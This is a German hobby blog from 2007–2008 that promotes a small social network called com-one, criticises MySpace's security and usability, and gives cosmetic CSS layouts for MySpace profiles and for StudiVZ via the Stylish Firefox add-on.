Das Projekt nennt sich com-one. Der Benutzer entscheidet dabei was für
Module überleben in dem er Sie benutzt oder nicht benutzt je nachdem
wie er die Funktion empfindet.

Die Benutzer haben auch direkt die Möglichkeit auf ihrer Startseite einen Vorschlag an den Support zu Senden. Wir lassen die User nicht im Regen stehen sondern binden ihn direkt in den Entwicklungszyklus mit ein. In der Aktuellen Version sieht der Benutzer direkt und sozusagen live, dank AJAX, wer sein Profil besucht oder was die anderen Benutzer für Kommentare über sein Profil schreiben.

Es ist sozusagen eine live Community bei der man alles Sofort sehen kann ohne irgendwas neu zu laden. Es ist einfach ein schnelleres System als das der großen Networks ;-)

Com-One besitzt in der jetztigen Version die Möglichkeit Buddys(Freunde) hinzuzufügen, Kommentare (Gästebuch) zu anderen Usern zu verfassen, Mails an andere Benutzer einfach und schnell zu versenden. Als weiteres Add On hat man bei uns die möglichkeit seine liebsten videos aus dem Web in seine Video Wall einzufügen ;-)

Bei uns hatt der Benutzer die Macht, was mit der Plattform geschieht, welche Funktionen bleiben, welche gehen. Wer nicht länger der Willkür der großen Plattformen ausgesetzt sein möchte ist hier genau richtig. Denn was mit den Daten geschieht, entscheidet auch der Benutzer. Dass ist unser Weg für eine schnelle, Demokratische Plattform, nur ohne Bürokratie ;-)

Momentan hosten wir das ganze noch auf einem Entwicklungsserver, logisch ist der immer erreichbar. Die Adresse ist halt nicht ganz so schön ;-)

Und ja ich versuche hier ein wenig die Werbetrommel für unser Netzwerk zu rühren ;-) Wäre ja blöde wenn es keiner Mitbekommt!! Wir freuen uns auf jeden der kommt und auch auf die Freundes Freunde von jedem *fg*
Hier der Link: Com-One

Ist MySpace.com am ende???

2008-02-27T07:44:00.000-08:00

MySpace wird langsam zu Microsoft unter den social networking anbietern.
Es ist nicht besonders gut, es beherbergt noch nicht erforschte Sicherheitslücken.
Aber trotz alledem lassen sich die Nutzer nicht abschrecken.
Ja ich bin auch noch Mitglied. >>Muss ja wissen über was ich schreibe<<
Aber ich vertraue MySpace nicht mehr. Denn auf MySpace finden vermehrt
sogenannte phising Attacken statt.
Also irgendwelche leute versuchen an eure Passwörter zu kommen.
Leider sind diese Leute recht erfolgreich. Also dank der schlampereien bei
MySpace. So kann man dort die identität eines anderen annehmen und dessen
Freunde mit links zu einer phishing Seite zu Posten.
Nicht schlecht.
MySpace verliert in den westlichen Ländern immer mehr an Benutzer, was
zu einem an der Sicherheit liegt und zum anderen an der unübersichtlichkeit
des ganzen Systemes.
Zum Beispiel facebook kommt viel übersichtlicher daher. Klar man kann nicht so
viel umstellen, Farben usw. Aber dafür wirkt es sauber und man findet sich leicht
zurecht.
Aufgrund der Mitlgiederflucht erschließt MySpace die Märkte in aller Herrgottsländern
mit übersetzten Seiten.
Für meinen teil ist MySpace nicht mehr empfehlenswert, mein Profil habe ich nun
abgedunkelt. Und hause nun auf facebook.com
Dort ist es schöner ;-)
Achso ja StudiVZ.... naja ich geb mich ja nicht mit ner Kopie zufrieden wenn ich dass Original (fabook) haben kann ;-)
In diesem Sinne dunkelt euch bei MySpace ab!!!!

So schnell warst du noch nie.......

2008-02-26T10:12:00.000-08:00

So schnell warst du noch nie, unter diesem Motto wurde das social network com-one gestellt.
Dieses noch recht kleine Soziale Netzwerk verspricht eine hohe geschwindigkeit in der man untereinander interagiert. Dass soll heißen, wenn ich auf meiner Startseite bei com-one verweile muss ich nichts neu laden. Der Status ticker checkt alle paar Sekunden ob ich eine neue Nachricht habe und das beste ich kann nahezu live sehen wer sich mein Profil anschaut.
Endlich verpasse ich nichts mehr im Netzwerk. Die Plattform befindet sich noch im Aufbau aber ich habe schonmal nen link vorbereitet. Alle essentiellen Funktionen sind schon da, auch auf ne verknüpfung zu Youtube wurde nicht verzichtet.
Für alle die Spass an geschwindigkeit haben, nur zu empfehlen. Das ganze kommt in einem quitschbunten Design daher. Und auch was Positives, die Daten werden nicht wie woanders an dritte verkauft ;-)
Link: com-one

Pimp my MySpace Profile

2008-02-15T00:35:00.000-08:00

Da das Pimpen von StudiVZ doch ein wenig langweilig ist, und leider nur für einen selbst ist.
Habe ich mich etwas umgeschaut und MySpace für mich entdeckt.
Dort sehen es wenigstens alle wenn man sein Profil umbastelt. Nun habe ich ein kleines (Werbefreies) Css zusammengebastelt. Mit dem das Profil light and glossy wirkt.
Dies ist ein luftiges Design, siehe Bild.

Damit ihr dieses Design in euer Profil einfügen könnt, müsst ihr nur das gesammte css in der kleinen Textbox unten markieren (STRG + A ) und dann kopieren (STRG + C).
Dann bei MySpace in euer Profil einfügen. Also "Profil bearbeiten", und dort zum Beispiel in das Feld "über mich" einfügen.

LayoutBox:

<br /><style>.blacktext12 {display:none !important;}.profileInfo, .contactTable,.userProfileURL ,.userProfileDetail, .latestBlogEntry, .blurbs, .friendSpace, .friendsComments, .friendsComments {background-image:url("http://einrichten-direkt.de/pink/myspacebg.png") ;color:pink;}.profileInfo table tr td {min-width:200px;}a, a.man, a:link, a:visited{font-family:arial, arial, times new roman;color:cccccc;font-size:8pt;font-weight:normal;text-decoration:none;font-style:normal}a:active, a:hover{font-family:arial, arial, times new roman;color:ffffff; font-size:12pt; font-weight:normal; text-decoration:none; font-style:normal;} td, table, tr, span, li, p, div, textarea, DIV  { font-family:arial, arial, times new roman; color:000000; font-weight:normal; font-decoration:none; font-style:normal; border:none; } td, table {  background-color:transparent; } td, li, p, div, textarea {font-family:arial, arial, times new roman; border-color:0000ff; border:none; } table {border-color:ff0000;border:none} a.navbar {font-family:arial, arial, times new roman; font-size:8pt; font-weight:normal} a.navbar:link {color:0000CC;} a.navbar:active {color:0000CC;} a.navbar:visited {color:0000CC;} a.navbar:hover {color:#0099FF;} a.searchlinkSmall {font-family:arial, arial, times new roman; font-size:10pt; text-decoration:none; font-weight:normal;} a.searchlinkSmall:link {color:999999} a.searchlinkSmall:active {color:999999} a.searchlinkSmall:visited {color:999999} a.searchlinkSmall:hover {color:999999} body { display:inline !important; font-family:helvectia; background-color: F9F7ED; background-image: url("http://einrichten-direkt.de/pink/lifestyle.jpg"); background-postion:0%; background-repeat:no-repeat; background-attachment:fixed; }nametext{font-family:arial, arial, times new roman;font-size:16pt;color:ffffff; font-weight:none;} .blacktext10 {font-family:helvectia; font-size:8pt; color:cccccc; font-weight:normal;} .blacktext12 {font-family:helvectia; font-size:12pt; color:cccccc; font-weight:normal;} .btext, .itext, .text {font-family:helvectia; font-size:10pt; color:ffffff; font-weight:none;} .orangetext15 {font-family:helvectia; font-size:12pt; color:cccccc; font-weight:none;} .lightbluetext8 {font-family:helvectia; font-size:12pt; color:cccccc; font-weight:none;} a img {} a:hover img {} </style><br />

So das wars alles Speichern und das Ergebniss begutachten.
Für anregungen oder konstruktive Kritik oder auch über ein Lob bin ich dankbar. Dazu einfach ein Kommentar Posten.

Viel Spass damit.....

Ps: Danke an einrichten-direkt.de für das Bereitstellen von gratis Websace für die Bilder ;-)

PimpMyStudiVZ neue Gruppe ;-)

2007-12-16T06:16:00.000-08:00

So nun habe ich es endlich geschafft.

Nach langem überlegen habe ich nun die Gruppe
PimpMyStudiVZ gegründet. Ja alles am Stück
geschrieben. Anders gabs die Gruppe schon *gg*

Links seht ihr das Gruppenbild, damit auch niemand in die falsche Gruppe gerät.
Naja es ist halt ein Pimp logo ;-)

In dieser Gruppe werden nun alle weiter folgenden Layouts vorgestellt. In diesem Blog unter "Pimp My StudiVZ die zweite" dort findet ihr die Grundlagen für das StudiVZ pimping.

Im Moment arbeite ich an einem Browserunabhänigen Weg das StudiVZ Optisch aufzumischen also ohne "Add On" und Installation. Dies ist immerhin eine kleine hürde die viele daran hindert sich die Optik anzupassen.

Sobald der One Click Pimp fertig ist, wird er hier auf diesem Blog und in der StudiVZ Gruppe vorgestellt. Weitere Layouts werden ab jetzt nur noch in der Gruppe vorgestellt, sonst sprengt es diesen Blog. Und er besteht bald nur noch aus StudiVZ beiträgen dann müsste ich ja auch den namen ändern. Und das möchte ich ja nicht ;-)

Also viel Spass in der Gruppe "PimpMyStudiVZ".... its Pink

Pimp my StudiVZ die zweite

2007-12-15T04:58:00.000-08:00

Es besteht offensichtlich ein richtiger Bedarf StudiVZ zu pimpen.
Also rein Optisch lässt sich da im Handumdrehen was zaubern.
Und wie solls auch sein hab ich da wa vorbereitet.
Nach kurzer Installation und mit dem neuen Style sieht dein
StudiVZ so aus:(Pink Layout)

Also Vorraussetzungen:

1. Du besitzt einen Browser detailierter den Mozilla Firefox

2. Du kannst lesen ;-)

So schritt eins. Wir benötigen ein "Add On".
Was ist ein Add On?? -- Eine erweiterung!! Eine Extension!!

Das "Add On" von dem hier die Rede ist heißt stylish.
Und ist zu finden auf https://addons.mozilla.org/de/firefox/addon/2108.
So jetzt klickst du auf den grünen installieren Button und fertig.

Nach möglichkeit jetzt den Browser neu Starten.

Jetzt im Menü oben (Datei bearbeiten usw.) ganz rechts
unter Extras->Add-ons Stylish, aktivieren und dann Einstellungen.
Nun seht ihr ein neues Fenster vor euch!!
Hier klickt ihr auf erstellen.
und dann kopiert ihr folgegndendes Css Layout in das neue Fenster.
(Nur den roten text kopieren)
und danach auf Speichern klicken! thats it!!
so wer noch wünsche(Farbe etc hat Postet diese als Kommentar)
Wems nicht gefällt einfach wieder zu stylish gehen.
Einstellungen und den Eintrag studiVZ löschen!!
Für Green Layout dieses Kopieren(weiter unten gibts das Pink Layout!!):
@-moz-document domain(www.studivz.net), url(http://www.studivz.net/) {

body {
background:#3f473b!important;
/*color:#C0C0C0!important;*/
font-family:Tahoma,Arial,sans-serif!important;
}

/* ##### STARTSEITE ##### */
#teaserpic {
position: relative;
float: right;
margin-bottom: 12px;
margin-right:10px;
width: 350px!important;
height: 600px!important;
background-image:
url(http://www.einrichten-direkt.de/pink/img/spongebob_1.jpg)!importan;
background-repeat: no-repeat;
}

/* ####################### OBEN ######################*/
#topheader {
background:#FF9900!important;
font-size:13px!important;
height:32px!important;
padding:0px!important;
}

#homelink {
background-image:none!important;
}

.topnav {
}

.topnav a {
background:#FFE6bF!important;
color:#553E1C!important;
padding:12px 5px 1px 5px!important;
font-size:9px;
text-transform:none!important;
letter-spacing:1pt;
}
.topnav a:hover,.topnav a#active_menu {
background:#FFCC80!important;
color:#553E1C!important;
padding:12px 5px 5px 5px!important;
font-size:9px;
text-transform:none!important;
letter-spacing:1pt;
}

/* ####################### INHALT ######################*/

#headline {
background:#FFCC80!important;
color:#222!important;
border-bottom:5px solid #FFE6bF!important;
}

#content {
background:#d7cfc4!important;
}

.secheader {
background:#FF9900!important;
border-top:0px!important;
border-bottom:2px solid #FFCC80!important;
}

.secheader h2 {
color:#3F473B!important;
text-transform:uppercase;
font-weight:bold!important;
}

.subheader {
background:#FFE6BF!important;
border-bottom:2px solid #FFCC80!important;
color:#333333!important;
}

.subheader a {
color:#9E4007!important;
}

.slimcolbox {
color:#222222!important;
}

.slimcolbox a, #delete_school_link a{
color:#C9520A!important;
}
.slimcolbox h4 {
color:#3F473B!important;
}
/* ####################### PROFILSEITE ######################*/
.myactions {
background:#BFB3A2!important;
}
.myactions a {
background:#BFB3A2!important;
color:#C9520A!important;
border-bottom:1px solid #D7CFC4!important;
}
.myactions a:hover {
color:#3F473B!important;
background:#FFE6BF!important;
}
#slimcol {
background:#BFB3A2!important;
}

.PrfFriendTbl a, .otherSchools a, .otherSchools Column2 a, .morefriends a{
color:#9E4007!important;
}

/*******************************************************/
/*******************************************************/
/*******************************************************/

.PrfFriendTbl a {
display: block!important;
overflow: hidden!important;
}

#group_members a {
display: block!important;
overflow: hidden!important;
width: 60px!important;
}

/*******************************************************/
/*******************************************************/
/*******************************************************/

#userprofile {
background:#D7CFC4!important;
}

/* ####################### PINNWAND ######################*/

#innerPinn {
}
.header {
background:#FFE6BF!important;
border-top:0px!important;
border-bottom:2px solid #FFCC80!important;
}
.header a {
color:#3F473B!important;
}
.actions a {
color:#9E4007!important;
}
.actions {
border-bottom:0px!important;
}
.info {
border-top:0px!important;
border-bottom:0px!important;
}
/* ####################### START ######################*/
.appearer2 a, .info a{
color:#C9520A!important;
}
.info h2{
border-bottom:#FF9900!important;
}

/* ####################### Meine Seite bearbeiten #############*/

#tabs {
border-bottom:2px solid #FF9900!important;
}
.activetab a {
background:#FF9900!important;
color:#222222!important;
}
.inactivetab a:hover {
background:#FFCC80!important;
color:#222222!important;
}
.inactivetab a {
color:#222222!important;
}

h4 {
color:#000000!important;
border-bottom:2px solid #FF9900!important;
}
/* ####################### NAVIGATION ######################*/

#leftlogo2 {
background-image:none!important;
height:37px!important;
}

.inputtext, .textarea {
border: 1px solid #FF9900!important;
}
#quicksearch input{
text-align:center!important;
text-transform:uppercase;
background-image:none!important;
padding:2px 1px 2px 1px!important;
width:118px!important;
background:#404040!important;
color:#CCC!important;
}

.leftnav a {
color:#C0C0C0!important;
border-bottom:1px solid #222222!important;
}

.leftnav a:hover {
color:#222222!important;
background:#FF9900!important;
border-bottom:1px solid #222222!important;
}

.announcetb {
border:0px!important;
color:#AAAAAA!important;
}

.announcetb a {
color:#FFF!important;
}

/* ####################### BUTTON ######################*/
.inputsubmit, .inputbutton {
background:#FF9900!important;
color:#222222!important;
border-top:1px solid #FFCC80!important;
border-left:1px solid #FFCC80!important;
border-right:1px solid #C9520A!important;
border-bottom:1px solid #C9520A!important;
}
/* ####################### FOOTER ######################*/

#pagefooter {
background:#3F473B!important;
border-top:3px solid #FF9900!important;
border-bottom:0px!important;
}

#pagefooter a{
color:#C0C0C0!important;
}
#pagefooter a:hover{
background:#FFCC80!important;
color:#222222!important;
}

/* ####################### MEINE FREUNDE ######################*/

#friendtables {
background:#FFE6BF!important;
}
.PageTabs a {
color:#9E4007!important;
}
.PageTabs a:hover {
color:#000000!important;
background:#FF9900!important;
text-decoration:none!important;
}

.friendtable {
border:0px solid #FF9900!important;
height:90px!important;
background:#BFB3A2!important;
margin-top:3px!important;
margin-bottom:3px!important;
}
.friendtable a {
color:#8D3006!important;
}

.image img {
height:auto!important;
max-height:90px!important;
width:50px!important;
}
#friendsecheader {
color:#3F473B!important;
}/* class="secheader"*/
/* ####################### FOTOALBUM ######################*/

.myalbumspreviewcontainer {
background:#FFCC80!important;
}

.myalbumpreview {
background:#FFE6BF!important;
border:0px!important;
}
.albumheadline a {
color:#000000!important;
}
.albumlinks_overview a {
color:#8D3006!important;
}
.photoheader {
border-bottom:1px solid #FF9900!important;
}
.listfriendsfotoalbum a {
color:#8D3006!important;
}
.albumphotocount a {
color:#8D3006!important;
}
/* ####################### Nachrichtendienst ##################*/
#mailboxtabbox {
border:0px!important;
}
#mailbox_form {
background:#D7CFC4!important;
}
#mailbox_form th{
height:20px!important;
background:#FFCC80!important;
}
#mailbox_form tr{
background:#FFE6BF!important;
max-height:40px!important;
}
#mailbox_form td{
border-bottom:2px solid #FFCC99!important;
color:#000000!important;
}
#mailbox_form tr a{
color:#8D3006!important;
}
#mailbox_form img{
background:#FFE6BF!important;
height:30px!important;
}
.messagesubject a span, #message_history_link a, #answer_recipient_full_name a{
color:#8D3006!important;
}
#dialog, .dialog {
border:0px!important;
}
/* ####################### GRUPPEN ##################*/
#contentx {
background:#D7CFC4!important;
border-left:0px!important;
border-right:0px!important;
}
.cat_bottom_table {
background:#D7CFC4!important;
border:0px!important;
}
.cat_bottom_table a {
color:#8D3006!important;
}
#profileimage, #partyprofile {
background:#D7CFC4!important;
}
#group_members td {
background:#D7CFC4!important;
border:0px!important;
}
#group_members a {
color:#8D3006!important;
}
/* ####################### HILFE ##################*/
.coolh2 {
border-bottom:1px solid #8D3006!important;
}
.helpbox {
color:#000000!important;
border:0px!important;
background:#FFE6BF!important;
}
.helpbox a, #content a {
color:#8D3006!important;
}

}

So und für alle die ein Pinkes Layout wollen dann müsst ihr dieses
Kopieren(Das Pinke Layout ist noch nicht ganz vollendet aber bis zum
Sonntag hab ichs ;-) ):

@-moz-document domain(www.studivz.net), url(http://www.studivz.net/) {

body {
background:pink!important;
/*color:#FFFFFF!important;*/
font-family:Tahoma,Arial,sans-serif!important;
}

/* ##### STARTSEITE ##### */
#teaserpic {
position: relative;
float: right;
margin-bottom: 12px;
margin-right:10px;
width: 350px!important;
height: 600px!important;
background-image:
url(http://www.einrichten-direkt.de/pink/img/spongebob_1.jpg)!important;
background-repeat: no-repeat;
}

/* ####################### OBEN ######################*/
#topheader {
background:#F9F7ED!important;
font-size:14px!important;
height:32px!important;
padding:0px!important;

}

#homelink {
background-image:none!important;
}

.topnav {
}

.topnav a {
background:#F9F7ED!important;
color:#553E1C!important;
padding:12px 5px 1px 5px!important;
font-size:9px;
text-transform:none!important;
letter-spacing:1pt;
}
.topnav a:hover,.topnav a#active_menu {
background:pink!important;
color:#553E1C!important;
padding:12px 5px 5px 5px!important;
font-size:9px;
text-transform:none!important;
letter-spacing:1pt;
}

/* ####################### INHALT ######################*/

#headline {
background:#F9F7ED!important;
color:#222!important;
border-bottom:5px solid #FFE6bF!important;
}

#content {
background:#FFFFFF!important;
}

.secheader {
background:pink!important;
border-top:0px!important;
border-bottom:2px solid #FF0084!important;
}

.secheader h2 {
color:white!important;
text-transform:uppercase;
font-weight:bold!important;
}

.subheader {
background:white!important;
border-bottom:2px solid #FF0084!important;
color:#333333!important;
}

.subheader a {
color:#9E4007!important;
}

.slimcolbox {
color:#222222!important;
}

.slimcolbox a, #delete_school_link a{
color:#C9520A!important;
}
.slimcolbox h4 {
color:#3F473B!important;
}
/* ####################### PROFILSEITE ######################*/
.myactions {
background:white!important;
}
.myactions a {
background:white!important;
color:#C9520A!important;
border-bottom:1px solid #D7CFC4!important;
}
.myactions a:hover {
color:#3F473B!important;
background:#FFE6BF!important;
}
#slimcol {
background:white!important;
}
#slimcol:hover {
background:pink!important;
}

.PrfFriendTbl a, .otherSchools a, .otherSchools Column2 a, .morefriends a{
color:#FF0084!important;
}

/*******************************************************/
/*******************************************************/
/*******************************************************/

.PrfFriendTbl a {
display: block!important;
overflow: hidden!important;
}

#group_members a {
display: block!important;
overflow: hidden!important;
width: 60px!important;
}

/*******************************************************/
/*******************************************************/
/*******************************************************/

#userprofile {
background:white!important;
}

/* ####################### PINNWAND ######################*/

#innerPinn {
}
.header {
background:pink!important;
border-top:0px!important;
border-bottom:2px solid #FF0084!important;
}
.header a {
color:#3F473B!important;
}
.actions a {
color:#9E4007!important;
}
.actions {
border-bottom:0px!important;
}
.info {
border-top:0px!important;
border-bottom:0px!important;
}
/* ####################### START ######################*/
.appearer2 a, .info a{
color:#C9520A!important;
}
.info h2{
border-bottom:#FF0084!important;
}

/* ####################### Meine Seite bearbeiten #############*/

#tabs {
border-bottom:2px solid #FF0084!important;
}
.activetab a {
background:#FF0084!important;
color:#222222!important;
}
.inactivetab a:hover {
background:pink!important;
color:#222222!important;
}
.inactivetab a {
color:#222222!important;
}

h4 {
color:#000000!important;
border-bottom:2px solid #FF0084!important;
}
/* ####################### NAVIGATION ######################*/

#leftlogo2 {
background-image:none!important;
height:37px!important;
}

.inputtext, .textarea {
border: 1px solid #FF9900!important;
}
#quicksearch input{
text-align:center!important;
text-transform:uppercase;
background-image:none!important;
padding:2px 1px 2px 1px!important;
width:118px!important;
background:#404040!important;
color:#CCC!important;
}

.leftnav a {
color:#FFFFFF!important;
border-bottom:1px solid #222222!important;
}

.leftnav a:hover {
color:#FFFFFF!important;
background:#FF0084!important;
border-bottom:1px solid #FF0084!important;
}

.announcetb {
border:0px!important;
color:#AAAAAA!important;
}

.announcetb a {
color:#FFF!important;
}

/* ####################### BUTTON ######################*/
.inputsubmit, .inputbutton {
background:#F9F7ED!important;
color:#FF0084!important;
border-top:1px solid #FFCC80!important;
border-left:1px solid #FFCC80!important;
border-right:1px solid #C9520A!important;
border-bottom:1px solid #C9520A!important;
}
/* ####################### FOOTER ######################*/

#pagefooter {
background:#3F473B!important;
border-top:3px solid #FF9900!important;
border-bottom:0px!important;
}

#pagefooter a{
color:#C0C0C0!important;
}
#pagefooter a:hover{
background:#FFCC80!important;
color:#222222!important;
}

/* ####################### MEINE FREUNDE ######################*/

#friendtables {
background:white!important;
}
.PageTabs a {
color:#9E4007!important;
}
.PageTabs a:hover {
color:#000000!important;
background:#FF9900!important;
text-decoration:none!important;
}

.friendtable {
border:1px solid #FF0084!important;
height:90px!important;
background:white!important;
margin-top:3px!important;
margin-bottom:3px!important;
}
.friendtable a {
color:#4096EE!important;
}

.image img {
height:auto!important;
max-height:90px!important;
width:50px!important;
}
#friendsecheader {
color:#3F473B!important;
}/* class="secheader"*/
/* ####################### FOTOALBUM ######################*/

.myalbumspreviewcontainer {
background:#FFCC80!important;
}

.myalbumpreview {
background:#FFE6BF!important;
border:0px!important;
}
.albumheadline a {
color:#000000!important;
}
.albumlinks_overview a {
color:#8D3006!important;
}
.photoheader {
border-bottom:1px solid #FF9900!important;
}
.listfriendsfotoalbum a {
color:#8D3006!important;
}
.albumphotocount a {
color:#8D3006!important;
}
/* ####################### Nachrichtendienst ##################*/
#mailboxtabbox {
border:0px!important;
}
#mailbox_form {
background:#D7CFC4!important;
}
#mailbox_form th{
height:20px!important;
background:#FFCC80!important;
}
#mailbox_form tr{
background:#FFE6BF!important;
max-height:40px!important;
}
#mailbox_form td{
border-bottom:2px solid #FFCC99!important;
color:#000000!important;
}
#mailbox_form tr a{
color:#8D3006!important;
}
#mailbox_form img{
background:#FFE6BF!important;
height:30px!important;
}
.messagesubject a span, #message_history_link a, #answer_recipient_full_name a{
color:#8D3006!important;
}
#dialog, .dialog {
border:0px!important;
}
/* ####################### GRUPPEN ##################*/
#contentx {
background:white!important;
border-left:0px!important;
border-right:0px!important;
}
.cat_bottom_table {
background:#D7CFC4!important;
border:0px!important;
}
.cat_bottom_table a {
color:#8D3006!important;
}
#profileimage, #partyprofile {
background:#D7CFC4!important;
}
#group_members td {
background:#D7CFC4!important;
border:0px!important;
}
#group_members a {
color:#8D3006!important;
}
/* ####################### HILFE ##################*/
.coolh2 {
border-bottom:1px solid #8D3006!important;
}
.helpbox {
color:#000000!important;
border:0px!important;
background:#FFE6BF!important;
}
.helpbox a, #content a {
color:#8D3006!important;
}

}

@-moz-document domain(www.studivz.net), url(http://www.studivz.net/) {

body {
background:pink!important;
/*color:#FFFFFF!important;*/
font-family:Tahoma,Arial,sans-serif!important;
}

/* ##### STARTSEITE ##### */
#teaserpic {
position: relative;
float: right;
margin-bottom: 12px;
margin-right:10px;
width: 350px!important;
height: 600px!important;
background-image:
url(http://www.einrichten-direkt.de/pink/img/spongebob_1.jpg)!important;
background-repeat: no-repeat;
}

/* ####################### OBEN ######################*/
#topheader {
background:#F9F7ED!important;
font-size:14px!important;
height:32px!important;
padding:0px!important;

}

#homelink {
background-image:none!important;
}

.topnav {
}

.topnav a {
background:#F9F7ED!important;
color:#553E1C!important;
padding:12px 5px 1px 5px!important;
font-size:9px;
text-transform:none!important;
letter-spacing:1pt;
}
.topnav a:hover,.topnav a#active_menu {
background:pink!important;
color:#553E1C!important;
padding:12px 5px 5px 5px!important;
font-size:9px;
text-transform:none!important;
letter-spacing:1pt;
}

/* ####################### INHALT ######################*/

#headline {
background:#F9F7ED!important;
color:#222!important;
border-bottom:5px solid #FFE6bF!important;
}

#content {
background:#FFFFFF!important;
}

.secheader {
background:pink!important;
border-top:0px!important;
border-bottom:2px solid #FF0084!important;
}

.secheader h2 {
color:white!important;
text-transform:uppercase;
font-weight:bold!important;
}

.subheader {
background:white!important;
border-bottom:2px solid #FF0084!important;
color:#333333!important;
}

.subheader a {
color:#9E4007!important;
}

.slimcolbox {
color:#222222!important;
}

.slimcolbox a, #delete_school_link a{
color:#C9520A!important;
}
.slimcolbox h4 {
color:#3F473B!important;
}
/* ####################### PROFILSEITE ######################*/
.myactions {
background:white!important;
}
.myactions a {
background:white!important;
color:#C9520A!important;
border-bottom:1px solid #D7CFC4!important;
}
.myactions a:hover {
color:#3F473B!important;
background:#FFE6BF!important;
}
#slimcol {
background:white!important;
}
#slimcol:hover {
background:pink!important;
}

.PrfFriendTbl a, .otherSchools a, .otherSchools Column2 a, .morefriends a{
color:#FF0084!important;
}

/*******************************************************/
/*******************************************************/
/*******************************************************/

.PrfFriendTbl a {
display: block!important;
overflow: hidden!important;
}

#group_members a {
display: block!important;
overflow: hidden!important;
width: 60px!important;
}

/*******************************************************/
/*******************************************************/
/*******************************************************/

#userprofile {
background:white!important;
}

/* ####################### PINNWAND ######################*/

#innerPinn {
}
.header {
background:pink!important;
border-top:0px!important;
border-bottom:2px solid #FF0084!important;
}
.header a {
color:#3F473B!important;
}
.actions a {
color:#9E4007!important;
}
.actions {
border-bottom:0px!important;
}
.info {
border-top:0px!important;
border-bottom:0px!important;
}
/* ####################### START ######################*/
.appearer2 a, .info a{
color:#C9520A!important;
}
.info h2{
border-bottom:#FF0084!important;
}

/* ####################### Meine Seite bearbeiten #############*/

#tabs {
border-bottom:2px solid #FF0084!important;
}
.activetab a {
background:#FF0084!important;
color:#222222!important;
}
.inactivetab a:hover {
background:pink!important;
color:#222222!important;
}
.inactivetab a {
color:#222222!important;
}

h4 {
color:#000000!important;
border-bottom:2px solid #FF0084!important;
}
/* ####################### NAVIGATION ######################*/

#leftlogo2 {
background-image:none!important;
height:37px!important;
}

.inputtext, .textarea {
border: 1px solid #FF9900!important;
}
#quicksearch input{
text-align:center!important;
text-transform:uppercase;
background-image:none!important;
padding:2px 1px 2px 1px!important;
width:118px!important;
background:#404040!important;
color:#CCC!important;
}

.leftnav a {
color:#FFFFFF!important;
border-bottom:1px solid #222222!important;
}

.leftnav a:hover {
color:#FFFFFF!important;
background:#FF0084!important;
border-bottom:1px solid #FF0084!important;
}

.announcetb {
border:0px!important;
color:#AAAAAA!important;
}

.announcetb a {
color:#FFF!important;
}

/* ####################### BUTTON ######################*/
.inputsubmit, .inputbutton {
background:#F9F7ED!important;
color:#FF0084!important;
border-top:1px solid #FFCC80!important;
border-left:1px solid #FFCC80!important;
border-right:1px solid #C9520A!important;
border-bottom:1px solid #C9520A!important;
}
/* ####################### FOOTER ######################*/

#pagefooter {
background:#3F473B!important;
border-top:3px solid #FF9900!important;
border-bottom:0px!important;
}

#pagefooter a{
color:#C0C0C0!important;
}
#pagefooter a:hover{
background:#FFCC80!important;
color:#222222!important;
}

/* ####################### MEINE FREUNDE ######################*/

#friendtables {
background:white!important;
}
.PageTabs a {
color:#9E4007!important;
}
.PageTabs a:hover {
color:#000000!important;
background:#FF9900!important;
text-decoration:none!important;
}

.friendtable {
border:1px solid #FF0084!important;
height:90px!important;
background:white!important;
margin-top:3px!important;
margin-bottom:3px!important;
}
.friendtable a {
color:#4096EE!important;
}

.image img {
height:auto!important;
max-height:90px!important;
width:50px!important;
}
#friendsecheader {
color:#3F473B!important;
}/* class="secheader"*/
/* ####################### FOTOALBUM ######################*/

.myalbumspreviewcontainer {
background:#FFCC80!important;
}

.myalbumpreview {
background:#FFE6BF!important;
border:0px!important;
}
.albumheadline a {
color:#000000!important;
}
.albumlinks_overview a {
color:#8D3006!important;
}
.photoheader {
border-bottom:1px solid #FF9900!important;
}
.listfriendsfotoalbum a {
color:#8D3006!important;
}
.albumphotocount a {
color:#8D3006!important;
}
/* ####################### Nachrichtendienst ##################*/
#mailboxtabbox {
border:0px!important;
}
#mailbox_form {
background:#D7CFC4!important;
}
#mailbox_form th{
height:20px!important;
background:#FFCC80!important;
}
#mailbox_form tr{
background:#FFE6BF!important;
max-height:40px!important;
}
#mailbox_form td{
border-bottom:2px solid #FFCC99!important;
color:#000000!important;
}
#mailbox_form tr a{
color:#8D3006!important;
}
#mailbox_form img{
background:#FFE6BF!important;
height:30px!important;
}
.messagesubject a span, #message_history_link a, #answer_recipient_full_name a{
color:#8D3006!important;
}
#dialog, .dialog {
border:0px!important;
}
/* ####################### GRUPPEN ##################*/
#contentx {
background:white!important;
border-left:0px!important;
border-right:0px!important;
}
.cat_bottom_table {
background:#D7CFC4!important;
border:0px!important;
}
.cat_bottom_table a {
color:#8D3006!important;
}
#profileimage, #partyprofile {
background:#D7CFC4!important;
}
#group_members td {
background:#D7CFC4!important;
border:0px!important;
}
#group_members a {
color:#8D3006!important;
}
/* ####################### HILFE ##################*/
.coolh2 {
border-bottom:1px solid #8D3006!important;
}
.helpbox {
color:#000000!important;
border:0px!important;
background:#FFE6BF!important;
}
.helpbox a, #content a {
color:#8D3006!important;
}

}